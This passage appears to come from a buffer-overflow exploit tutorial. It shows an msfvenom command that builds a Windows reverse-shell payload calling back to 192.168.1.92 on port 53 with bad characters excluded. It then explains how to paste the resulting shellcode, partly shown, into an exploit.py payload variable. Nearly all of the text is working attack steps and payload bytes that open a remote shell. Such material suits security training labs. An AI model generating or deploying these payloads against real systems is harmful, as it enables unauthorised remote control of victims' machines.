Generate a reverse shell payload using msfvenom, making sure to exclude the same bad chars that were found previously:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=53 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
Copy the generated C code strings and integrate them into your exploit.py script payload variable using the following notation:
payload = ("\xfc\xbb\xa1\x8a\x96\xa2\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x5d\x62\x14\xa2\x9d"
...
"\xf7\x04\x44\x8d\x88\xf2\x54\xe4\x8d\xbf\xd2\x15\xfc\xd0\xb6"
"\x19\x53\xd0\x92\x19\x53\x2e\x1d")
